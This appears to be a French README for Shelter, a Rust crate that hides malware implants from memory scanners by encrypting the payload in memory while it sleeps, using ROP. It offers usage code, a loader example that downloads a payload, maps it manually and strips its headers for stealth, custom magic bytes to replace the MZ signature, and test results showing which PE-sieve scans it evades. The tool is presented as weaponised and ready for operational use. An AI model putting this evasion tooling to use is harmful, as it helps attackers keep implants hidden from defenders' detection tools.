
Obsuscation du sommeil basée sur ROP pour contourner les scanners mémoire
Shelter est une technique d'obfuscation de veille complètement armée qui permet de crypter entièrement votre payload en mémoire en utilisant abondamment les ROP.
Cette crate offre les caractéristiques suivantes :
Importez cette crate dans votre projet en ajoutant la ligne suivante à votre cargo.toml :
[dependencies]
shelter = "=0.1.2"
Ensuite, compilez votre projet en mode --release.
La fonctionnalité principale de cette crate a été encapsulée dans trois fonctions :
fluctuate() permet de chiffrer soit la région mémoire actuelle, soit l'intégralité du PE. Cette fonction nécessite la présence des octets MZ du PE afin de retrouver dynamiquement son adresse de base.fluctuate_from_address() chiffre complètement le PE. Cette fonction attend comme paramètre d'entrée l'adresse de base du PE.fluctuate_from_pattern() chiffre également complètement le PE. Cette fonction attend comme paramètre d'entrée un ensemble personnalisé de deux octets à utiliser pour déterminer l'adresse de base du PE. Ces octets magiques personnalisés remplacent le motif MZ classique.Lorsque l'intégralité du PE est chiffrée, les protections mémoire des sections d'origine sont stockées dans le tas afin d'être restaurées par la suite.
Shelter utilise NtWaitForSingleObject pour dormir. En plus d'indiquer combien de secondes vous voulez dormir, vous pouvez également passer un handle d'événement et le signaler à tout moment pour revenir avant l'expiration du délai (en utilisant SetEvent par exemple). Gardez à l'esprit que si votre payload entier est chiffré (ce qui est le but, je suppose), vous aurez besoin d'un moyen alternatif pour signaler l'événement au cas où vous auriez dormi indéfiniment.
La fonction attend les paramètres suivants :
true nécessite que les octets MZ soient présents en mémoire.None, le délai sera infini, ce qui signifie que l'exécution ne reviendra pas tant que l'événement passé à NtWaitForSingleObject n'est pas signalé.None. Le programme restera bloqué si vous définissez ce paramètre et le délai tous les deux à None.let time_to_sleep = Some(10); // Sleep for 10 seconds
let _ = shelter::fluctuate(false, time_to_sleep, None); // Encrypt only the current memory region
let time_to_sleep = Some(10); // Sleep for 10 seconds
let _ = shelter::fluctuate(true, time_to_sleep, None); // Encrypt the whole PE
pub type CreateEventW = unsafe extern "system" fn (*const SECURITY_ATTRIBUTES, i32, i32, *const u16) -> HANDLE;
let k32 = dinvoke_rs::dinvoke::get_module_base_address("kernel32.dll");
let create_event: CreateEventW;
let event_handle: Option<HANDLE>;
dinvoke_rs::dinvoke::dynamic_invoke!(k32,"CreateEventW",create_event,event_handle,ptr::null_mut(),0,0,ptr::null());
let time_to_sleep = None; // Sleep indefinitely
let _ = shelter::fluctuate(true, time_to_sleep, event_handle); // Encrypt the whole PE until the event is signaled
La fonction attend les paramètres suivants :
None, le délai sera infini, ce qui signifie que l'exécution ne reviendra pas tant que l'événement passé à NtWaitForSingleObject n'est pas signalé.None. Le programme restera bloqué si vous définissez ce paramètre et le délai tous les deux à None.Une façon d'utiliser cette fonction serait de mapper manuellement notre payload avec Dinvoke_rs. Ainsi, le chargeur peut envoyer au payload sa propre adresse de base, de sorte que le payload puisse l'utiliser pour s'obfusquer lui-même en cas de besoin. De cette façon, le chargeur peut supprimer en toute sécurité les en-têtes du PE pour atteindre un certain niveau de discrétion.
Exemple de chargeur :
let payload: Vec<u8> = your_download_function();
let mut m = dinvoke_rs::manualmap::manually_map_module(payload.as_ptr(), true).unwrap();
println!("The dll is loaded at base address 0x{:x}", m.1);
let dll_exported_function = dinvoke::get_function_address(m.1, "run");
let run: unsafe extern "Rust" fn (usize) = std::mem::transmute(dll_exported_function);
run(m.1 as usize);
Exemple de payload :
#[no_mangle]
fn run(base_address: usize)
{
...
let time_to_sleep = Some(10); // Sleep for 10 seconds
let _ = shelter::fluctuate_from_address(time_to_sleep, None, base_address); // Encrypt the entire PE from this specific base address
...
}
La fonction attend les paramètres suivants :
None, le délai sera infini, ce qui signifie que l'exécution ne reviendra pas tant que l'événement passé à NtWaitForSingleObject n'est pas signalé.None. Le programme restera bloqué si vous définissez ce paramètre et le délai tous les deux à None.[u8;2] contenant des octets magiques personnalisés à rechercher pour obtenir l'adresse de base du PE.L'intérêt de créer cette fonction est de permettre au chargeur de supprimer l'en-tête du PE et d'autres signatures, y compris les octets MZ classiques. Ainsi, ces octets peuvent être remplacés par un motif personnalisé que Shelter recherchera pour récupérer l'adresse de base du PE.
let time_to_sleep = Some(10); // Sleep for 10 seconds
let pattern = [0x29,0x07];
let _ = shelter::fluctuate_from_pattern(time_to_sleep, None, pattern); // Encrypt the whole PE using custom pattern as magic bytes
Afin de tester l'implémentation de la technique, PE-sieve a été principalement utilisé. Par défaut, PE-sieve cherche les implants dans les régions mémoire exécutables, ce qui signifie que même obfusquer exclusivement la région mémoire actuelle (.text) suffit pour éviter les détections :

Remarquez que, comme nous utilisons Unwinder, la pile d'appels est usurpée et donc le drapeau /threads ne détecte pas non plus la DLL mappée.
Maintenant, PE-sieve permet également d'inspecter les régions mémoire non exécutables en utilisant le drapeau /data. Selon la documentation officielle de l'outil, ce drapeau mis à always peut "produire beaucoup de bruit/faux positifs". Malgré cela, nous avons décidé de l'utiliser pour vérifier l'efficacité de la capacité de chiffrement complet du PE, car elle permet de masquer les régions de données du PE qui pourraient contenir des indicateurs de la présence d'un implant en mémoire.
Comme on peut le voir, sur la première image, il est montré qu'obfusquer uniquement la section .text ne suffit pas lorsque PE-sieve scanne les pages mémoire non exécutables, car certaines régions peuvent contenir des chaînes qui révèlent la présence d'une DLL (MZ, en-tête DOS, noms de sections, etc.). D'autre part, la deuxième image montre comment ce problème peut être résolu en utilisant le mécanisme d'obfuscation complète du PE de Shelter. Dans tous les cas et comme indiqué dans le wiki de PE-sieve, cette option conduit à des tonnes de faux positifs car la simple présence dans le tas de chaînes comme ".data" ou "rdata" signale déjà la possibilité d'un PE implanté, bien qu'il ne soit pas capable de vider quoi que ce soit de la mémoire (car il n'y a pas de contenu réel du PE dans cette région).
Enfin, PE-sieve dispose d'une option assez récente pour détecter la présence d'implants obfusqués en cherchant les régions mémoire à haute entropie. Cette option (/obfusc) combinée avec /data est capable de détecter la présence du payload en raison de la haute entropie de la région mémoire qui le contient (bien qu'elle ne puisse pas récupérer le PE car il est entièrement chiffré) :
Bien que Shelter soit prêt à être utilisé et ait été développé en tenant compte de l'OPSEC, il reste encore quelques améliorations qui seront ajoutées dans un avenir proche :
BCryptEncrypt/BCryptDecrypt par la fonction Nt correspondante.